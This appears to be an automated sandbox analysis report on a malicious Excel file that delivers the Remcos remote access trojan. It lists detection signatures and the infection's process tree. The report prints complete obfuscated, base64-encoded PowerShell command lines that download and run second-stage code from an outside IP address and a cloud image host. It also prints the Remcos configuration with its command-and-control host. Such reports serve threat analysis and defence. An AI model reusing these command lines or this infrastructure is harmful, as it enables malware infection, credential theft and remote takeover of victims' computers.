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Windows
Analysis Report
0200011080.xls
Overview
General Information
Detection
Remcos, HTMLPhisher
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3312 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3588 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 3696 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POwerS HEll.EXe -EX BypasS -NOp -w 1 -c DE ViCecredEn TiAldEPloy MEnT ; INV okE-EXpreS sIOn($(INv oke-exPres sIOn('[SYS tEM.tEXT.e NCoDINg]'+ [CHAr]0X3A +[ChAr]0x3 a+'UtF8.Ge TSTRing([S YsteM.CONv eRT]'+[CHa R]0X3A+[cH ar]58+'FrO mbaSe64sTr Ing('+[cHa r]34+'JG0y ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICA9ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBhZG QtdHlQZSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LW1FTWJlUm RlRmlOaVRJ T24gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICdbRG xsSW1wb3J0 KCJ1ckxNT2 4uRGxsIiwg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IENoYXJTZX QgPSBDaGFy U2V0LlVuaW NvZGUpXXB1 YmxpYyBzdG F0aWMgZXh0 ZXJuIEludF B0ciBVUkxE b3dubG9hZF RvRmlsZShJ bnRQdHIgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE dqaE1tTXZx R0tHLHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgbGhT SyxzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIENRQkFl WlQsdWludC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgSUNFY1Jk ZUlVeCxJbn RQdHIgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIHB6 eHh6cG1JKT snICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAtbkFN ZSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIlp4ek 5LWW9HSndQ IiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLU5BTW VTcEFDRSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg S3F6R2pUIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AtUGFzc1Ro cnU7ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAkbT I6OlVSTERv d25sb2FkVG 9GaWxlKDAs Imh0dHA6Ly 8xNDIuOTMu NjUuMTYxLz Y4MC93ZW5l ZWRraXNzaW 5nd2VsbG9u Z2lybGZyaW VuZHNoZWJl YXV0aWZ1bG dpcmwudElG IiwiJGVOVj pBUFBEQVRB XHdlbmVlZG tpc3Npbmd3 ZWxsb25naX JsZnJpZW5k c2hlYmVhdX RpZi52YlMi LDAsMCk7U3 RBUnQtU0xF RXAoMyk7aW kgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICIkRU52 OkFQUERBVE Fcd2VuZWVk a2lzc2luZ3 dlbGxvbmdp cmxmcmllbm RzaGViZWF1 dGlmLnZiUy I='+[ChaR] 34+'))'))) " MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 3720 cmdline:
POwerSHEll .EXe -EX BypasS -NOp -w 1 -c DEViC ecredEnTiA ldEPloyMEn T ; INVokE -EXpreSsIO n($(INvoke -exPressIO n('[SYStEM .tEXT.eNCo DINg]'+[CH Ar]0X3A+[C hAr]0x3a+' UtF8.GeTST Ring([SYst eM.CONveRT ]'+[CHaR]0 X3A+[cHar] 58+'FrOmba Se64sTrIng ('+[cHar]3 4+'JG0yICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA 9ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBhZGQtd HlQZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW1 FTWJlUmRlR mlOaVRJT24 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICdbRGxsS W1wb3J0KCJ 1ckxNT24uR GxsIiwgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEN oYXJTZXQgP SBDaGFyU2V 0LlVuaWNvZ GUpXXB1Ymx pYyBzdGF0a WMgZXh0ZXJ uIEludFB0c iBVUkxEb3d ubG9hZFRvR mlsZShJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIEdqa E1tTXZxR0t HLHN0cmluZ yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgbGhTSyx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI ENRQkFlWlQ sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgS UNFY1JkZUl VeCxJbnRQd HIgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIHB6eHh 6cG1JKTsnI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAtbkFNZSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIlp4ek5LW W9HSndQIiA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU5BTWVTc EFDRSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgS3F 6R2pUICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtU GFzc1RocnU 7ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAkbTI6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8xN DIuOTMuNjU uMTYxLzY4M C93ZW5lZWR raXNzaW5nd 2VsbG9uZ2l ybGZyaWVuZ HNoZWJlYXV 0aWZ1bGdpc mwudElGIiw iJGVOVjpBU FBEQVRBXHd lbmVlZGtpc 3Npbmd3ZWx sb25naXJsZ nJpZW5kc2h lYmVhdXRpZ i52YlMiLDA sMCk7U3RBU nQtU0xFRXA oMyk7aWkgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkRU52OkF QUERBVEFcd 2VuZWVka2l zc2luZ3dlb Gxvbmdpcmx mcmllbmRza GViZWF1dGl mLnZiUyI=' +[ChaR]34+ '))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3840 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\sietgs 52\sietgs5 2.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3848 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESBBA2.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\sie tgs52\CSC6 D12096A8D2 545939E28F 0D748EE93E A.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3936 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\wenee dkissingwe llongirlfr iendshebea utif.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3984 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $biscato = 'JHNvcnJl bmFyID0gJ2 h0dHBzOi8v cmVzLmNsb3 VkaW5hcnku Y29tL2R5dG ZsdDYxbi9p bWFnZS91cG xvYWQvdjE3 MzMxMzQ5ND cvYmtscHlz ZXlldXQ0aW 1wdzUwbjEu anBnICc7JG Rlc2VyZGFy ID0gTmV3LU 9iamVjdCBT eXN0ZW0uTm V0LldlYkNs aWVudDskZG VzYXZlc3Nv ID0gJGRlc2 VyZGFyLkRv d25sb2FkRG F0YSgkc29y cmVuYXIpOy R0b21iZWly byA9IFtTeX N0ZW0uVGV4 dC5FbmNvZG luZ106OlVU RjguR2V0U3 RyaW5nKCRk ZXNhdmVzc2 8pOyRjcmV0 aW5pemFyID 0gJzw8QkFT RTY0X1NUQV JUPj4nOyRn bGFuZHVsaW Zvcm1lID0g Jzw8QkFTRT Y0X0VORD4+ JzskZ3Jvc2 EgPSAkdG9t YmVpcm8uSW 5kZXhPZigk Y3JldGluaX phcik7JHRy aWdsb3R0aX NtbyA9ICR0 b21iZWlyby 5JbmRleE9m KCRnbGFuZH VsaWZvcm1l KTskZ3Jvc2 EgLWdlIDAg LWFuZCAkdH JpZ2xvdHRp c21vIC1ndC AkZ3Jvc2E7 JGdyb3NhIC s9ICRjcmV0 aW5pemFyLk xlbmd0aDsk ZGVzYWJhZm FyID0gJHRy aWdsb3R0aX NtbyAtICRn cm9zYTskc2 9mZnJpdmVs bWVudGUgPS AkdG9tYmVp cm8uU3Vic3 RyaW5nKCRn cm9zYSwgJG Rlc2FiYWZh cik7JGNvbn RyYWNhbWJp YXIgPSAtam 9pbiAoJHNv ZmZyaXZlbG 1lbnRlLlRv Q2hhckFycm F5KCkgfCBG b3JFYWNoLU 9iamVjdCB7 ICRfIH0pWy 0xLi4tKCRz b2Zmcml2ZW xtZW50ZS5M ZW5ndGgpXT skY2F0YXJh Y3RhID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbUJh c2U2NFN0cm luZygkY29u dHJhY2FtYm lhcik7JGJh bWJ1bGEgPS BbU3lzdGVt LlJlZmxlY3 Rpb24uQXNz ZW1ibHldOj pMb2FkKCRj YXRhcmFjdG EpOyR0cmlu Y29sZWpvID 0gW2RubGli LklPLkhvbW VdLkdldE1l dGhvZCgnVk FJJyk7JHRy aW5jb2xlam 8uSW52b2tl KCRudWxsLC BAKCd0eHQu UkVSVlJTLz A4Ni8xNjEu NTYuMzkuMj QxLy86cHR0 aCcsICckYW 5pbWFyJywg JyRhbmltYX InLCAnJGFu aW1hcicsIC dDYXNQb2wn LCAnJGFuaW 1hcicsICck YW5pbWFyJy wnJGFuaW1h cicsJyRhbm ltYXInLCck YW5pbWFyJy wnJGFuaW1h cicsJyRhbm ltYXInLCcx JywnJGFuaW 1hcicpKTs= ';$desalin hadamente = [System. Text.Encod ing]::UTF8 .GetString ([System.C onvert]::F romBase64S tring($bis cato));Inv oke-Expres sion $desa linhadamen te MD5: A575A7610E5F003CC36DF39E07C4BA7D) - CasPol.exe (PID: 1200 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 2392 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\to zq" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 1100 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\wi eivps" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3132 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\gc jtvhddyq" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - mshta.exe (PID: 4084 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 1908 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POwerS HEll.EXe -EX BypasS -NOp -w 1 -c DE ViCecredEn TiAldEPloy MEnT ; INV okE-EXpreS sIOn($(INv oke-exPres sIOn('[SYS tEM.tEXT.e NCoDINg]'+ [CHAr]0X3A +[ChAr]0x3 a+'UtF8.Ge TSTRing([S YsteM.CONv eRT]'+[CHa R]0X3A+[cH ar]58+'FrO mbaSe64sTr Ing('+[cHa r]34+'JG0y ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICA9ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBhZG QtdHlQZSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LW1FTWJlUm RlRmlOaVRJ T24gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICdbRG xsSW1wb3J0 KCJ1ckxNT2 4uRGxsIiwg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IENoYXJTZX QgPSBDaGFy U2V0LlVuaW NvZGUpXXB1 YmxpYyBzdG F0aWMgZXh0 ZXJuIEludF B0ciBVUkxE b3dubG9hZF RvRmlsZShJ bnRQdHIgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE dqaE1tTXZx R0tHLHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgbGhT SyxzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIENRQkFl WlQsdWludC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgSUNFY1Jk ZUlVeCxJbn RQdHIgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIHB6 eHh6cG1JKT snICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAtbkFN ZSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIlp4ek 5LWW9HSndQ IiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLU5BTW VTcEFDRSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg S3F6R2pUIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AtUGFzc1Ro cnU7ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAkbT I6OlVSTERv d25sb2FkVG 9GaWxlKDAs Imh0dHA6Ly 8xNDIuOTMu NjUuMTYxLz Y4MC93ZW5l ZWRraXNzaW 5nd2VsbG9u Z2lybGZyaW VuZHNoZWJl YXV0aWZ1bG dpcmwudElG IiwiJGVOVj pBUFBEQVRB XHdlbmVlZG tpc3Npbmd3 ZWxsb25naX JsZnJpZW5k c2hlYmVhdX RpZi52YlMi LDAsMCk7U3 RBUnQtU0xF RXAoMyk7aW kgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICIkRU52 OkFQUERBVE Fcd2VuZWVk a2lzc2luZ3 dlbGxvbmdp cmxmcmllbm RzaGViZWF1 dGlmLnZiUy I='+[ChaR] 34+'))'))) " MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 2668 cmdline:
POwerSHEll .EXe -EX BypasS -NOp -w 1 -c DEViC ecredEnTiA ldEPloyMEn T ; INVokE -EXpreSsIO n($(INvoke -exPressIO n('[SYStEM .tEXT.eNCo DINg]'+[CH Ar]0X3A+[C hAr]0x3a+' UtF8.GeTST Ring([SYst eM.CONveRT ]'+[CHaR]0 X3A+[cHar] 58+'FrOmba Se64sTrIng ('+[cHar]3 4+'JG0yICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA 9ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBhZGQtd HlQZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW1 FTWJlUmRlR mlOaVRJT24 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICdbRGxsS W1wb3J0KCJ 1ckxNT24uR GxsIiwgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEN oYXJTZXQgP SBDaGFyU2V 0LlVuaWNvZ GUpXXB1Ymx pYyBzdGF0a WMgZXh0ZXJ uIEludFB0c iBVUkxEb3d ubG9hZFRvR mlsZShJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIEdqa E1tTXZxR0t HLHN0cmluZ yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgbGhTSyx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI ENRQkFlWlQ sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgS UNFY1JkZUl VeCxJbnRQd HIgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIHB6eHh 6cG1JKTsnI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAtbkFNZSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIlp4ek5LW W9HSndQIiA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU5BTWVTc EFDRSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgS3F 6R2pUICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtU GFzc1RocnU 7ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAkbTI6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8xN DIuOTMuNjU uMTYxLzY4M C93ZW5lZWR raXNzaW5nd 2VsbG9uZ2l ybGZyaWVuZ HNoZWJlYXV 0aWZ1bGdpc mwudElGIiw iJGVOVjpBU FBEQVRBXHd lbmVlZGtpc 3Npbmd3ZWx sb25naXJsZ nJpZW5kc2h lYmVhdXRpZ i52YlMiLDA sMCk7U3RBU nQtU0xFRXA oMyk7aWkgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkRU52OkF QUERBVEFcd 2VuZWVka2l zc2luZ3dlb Gxvbmdpcmx mcmllbmRza GViZWF1dGl mLnZiUyI=' +[ChaR]34+ '))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 1076 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\tc3erl e0\tc3erle 0.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 2104 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESF4EA.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\tc3 erle0\CSCE 42B52D3958 749FFBAC69 A71E4122F1 .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 2116 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\wenee dkissingwe llongirlfr iendshebea utif.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2112 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $biscato = 'JHNvcnJl bmFyID0gJ2 h0dHBzOi8v cmVzLmNsb3 VkaW5hcnku Y29tL2R5dG ZsdDYxbi9p bWFnZS91cG xvYWQvdjE3 MzMxMzQ5ND cvYmtscHlz ZXlldXQ0aW 1wdzUwbjEu anBnICc7JG Rlc2VyZGFy ID0gTmV3LU 9iamVjdCBT eXN0ZW0uTm V0LldlYkNs aWVudDskZG VzYXZlc3Nv ID0gJGRlc2 VyZGFyLkRv d25sb2FkRG F0YSgkc29y cmVuYXIpOy R0b21iZWly byA9IFtTeX N0ZW0uVGV4 dC5FbmNvZG luZ106OlVU RjguR2V0U3 RyaW5nKCRk ZXNhdmVzc2 8pOyRjcmV0 aW5pemFyID 0gJzw8QkFT RTY0X1NUQV JUPj4nOyRn bGFuZHVsaW Zvcm1lID0g Jzw8QkFTRT Y0X0VORD4+ JzskZ3Jvc2 EgPSAkdG9t YmVpcm8uSW 5kZXhPZigk Y3JldGluaX phcik7JHRy aWdsb3R0aX NtbyA9ICR0 b21iZWlyby 5JbmRleE9m KCRnbGFuZH VsaWZvcm1l KTskZ3Jvc2 EgLWdlIDAg LWFuZCAkdH JpZ2xvdHRp c21vIC1ndC AkZ3Jvc2E7 JGdyb3NhIC s9ICRjcmV0 aW5pemFyLk xlbmd0aDsk ZGVzYWJhZm FyID0gJHRy aWdsb3R0aX NtbyAtICRn cm9zYTskc2 9mZnJpdmVs bWVudGUgPS AkdG9tYmVp cm8uU3Vic3 RyaW5nKCRn cm9zYSwgJG Rlc2FiYWZh cik7JGNvbn RyYWNhbWJp YXIgPSAtam 9pbiAoJHNv ZmZyaXZlbG 1lbnRlLlRv Q2hhckFycm F5KCkgfCBG b3JFYWNoLU 9iamVjdCB7 ICRfIH0pWy 0xLi4tKCRz b2Zmcml2ZW xtZW50ZS5M ZW5ndGgpXT skY2F0YXJh Y3RhID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbUJh c2U2NFN0cm luZygkY29u dHJhY2FtYm lhcik7JGJh bWJ1bGEgPS BbU3lzdGVt LlJlZmxlY3 Rpb24uQXNz ZW1ibHldOj pMb2FkKCRj YXRhcmFjdG EpOyR0cmlu Y29sZWpvID 0gW2RubGli LklPLkhvbW VdLkdldE1l dGhvZCgnVk FJJyk7JHRy aW5jb2xlam 8uSW52b2tl KCRudWxsLC BAKCd0eHQu UkVSVlJTLz A4Ni8xNjEu NTYuMzkuMj QxLy86cHR0 aCcsICckYW 5pbWFyJywg JyRhbmltYX InLCAnJGFu aW1hcicsIC dDYXNQb2wn LCAnJGFuaW 1hcicsICck YW5pbWFyJy wnJGFuaW1h cicsJyRhbm ltYXInLCck YW5pbWFyJy wnJGFuaW1h cicsJyRhbm ltYXInLCcx JywnJGFuaW 1hcicpKTs= ';$desalin hadamente = [System. Text.Encod ing]::UTF8 .GetString ([System.C onvert]::F romBase64S tring($bis cato));Inv oke-Expres sion $desa linhadamen te MD5: A575A7610E5F003CC36DF39E07C4BA7D) - CasPol.exe (PID: 3640 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["lonan.duckdns.org:4044:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-Z4DJFI", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 11 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 7 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |